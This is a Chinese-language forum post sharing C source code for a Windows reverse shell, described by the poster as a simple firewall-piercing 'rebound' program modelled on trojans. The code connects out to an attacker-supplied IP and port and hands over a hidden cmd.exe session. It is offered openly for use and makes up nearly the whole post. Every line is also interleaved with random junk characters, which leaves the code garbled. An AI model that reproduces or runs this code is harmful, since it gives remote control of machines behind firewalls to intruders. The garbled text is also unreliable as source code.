社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 2740阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n6f|,D!?  
R7i*f/m  
/* ============================== T_WQzEL^  
Rebound port in Windows NT Y$^\D' .k  
By wind,2006/7 xo$ZPnf(zv  
===============================*/ jo~Pr  
#include `O/)q^m1L  
#include b}:Z(L,\  
Kf.b <wP{  
#pragma comment(lib,"wsock32.lib") x3Uv&  
cx|j _5%i  
void OutputShell(); !MC W t  
SOCKET sClient; 5z _)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bBX~ZWw  
-)@.D>HsOt  
void main(int argc,char **argv) 1yu!:8=ee  
{ &%lhov  
WSADATA stWsaData; $c-3Q|C  
int nRet; ?6dtvz;K+?  
SOCKADDR_IN stSaiClient,stSaiServer; $$@Tgkg?o  
d\v _!7  
if(argc != 3) |zMQe}R@%  
{ [H1NP'Kg]  
printf("Useage:\n\rRebound DestIP DestPort\n"); FyEl@ }W  
return; l- l}xBf  
} EB#z\  
&BgaFx**  
WSAStartup(MAKEWORD(2,2),&stWsaData); ZeO>Ag^  
abND#t  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ($wYaw z  
<Yc:,CU  
stSaiClient.sin_family = AF_INET; gT.-Cf{  
stSaiClient.sin_port = htons(0); P(`IY +  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IQDWH/ c  
.<.qRq-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i]nE86.;  
{ luMNi^FQ  
printf("Bind Socket Failed!\n"); Nd6z81  
return; fp7Qb $-A  
} Ssj'1[%  
*s^5 BLI9  
stSaiServer.sin_family = AF_INET; gJ])A7O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yS*PS='P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bY>Ug{O;  
ld $`5!Z  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <R2  
{ YblRwic  
printf("Connect Error!"); L!5f*  
return; J.<m@\U  
} ^.(]i \V_  
OutputShell(); h@J`:KO  
} [Ue>KG62=  
Z8 T{Xw6%  
void OutputShell() &[YG\8sxWa  
{ >b?,zWiw  
char szBuff[1024]; Lg^m?~{  
SECURITY_ATTRIBUTES stSecurityAttributes; ^Z*_@A_v  
OSVERSIONINFO stOsversionInfo; 2C-u2;X2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =4zsAa  
STARTUPINFO stStartupInfo; \o^+'4hq<5  
char *szShell; L4NC -  
PROCESS_INFORMATION stProcessInformation; $H#&.IjY  
unsigned long lBytesRead; `9ieTt  
%VMazlM15  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C?O{l%0  
@:[/uqL  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "CaVT7L  
stSecurityAttributes.lpSecurityDescriptor = 0; Cdv TC`~,  
stSecurityAttributes.bInheritHandle = TRUE; te|VKYN%}[  
&0#qy9wx  
#_E8>;)k  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DirWe  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zm e:U![  
Dihk8qJ/6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ={fi&j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pTTif|c  
stStartupInfo.wShowWindow = SW_HIDE; OD i)#  
stStartupInfo.hStdInput = hReadPipe; p;@PfhEz)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +LUL-d  
Ev()2 80  
GetVersionEx(&stOsversionInfo); (~P&$$qfD  
DgdW.Kj|IL  
switch(stOsversionInfo.dwPlatformId) (p. 5J  
{ u&qdrKx  
case 1: xH=&={  
szShell = "command.com"; _uBf.Qfs  
break; EgY]U1{  
default: G67BQG\av  
szShell = "cmd.exe"; v}!,4,]:&  
break; VHJr+BQ1K/  
} f5G17: Q  
&L/ C:<.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /`1zkBj<&  
+?c&Gazi  
send(sClient,szMsg,77,0); 'g^]ZTxb  
while(1) ?FA:K0H?zl  
{ K9*K4'#R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dWp4|r  
if(lBytesRead) nyIb8=f  
{ MVdE7P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vH?/YhH|  
send(sClient,szBuff,lBytesRead,0); =Xp 3UNXg  
} WaH TzIa[  
else mb&b=&  
{ y,%w`  
lBytesRead=recv(sClient,szBuff,1024,0); ZK13[_@9  
if(lBytesRead<=0) break; GJ*AyYG  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mV;7SBoT  
} $)'{+1  
} -du+iOe?  
3*FktXmI}  
return; 9`b*Y*d  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八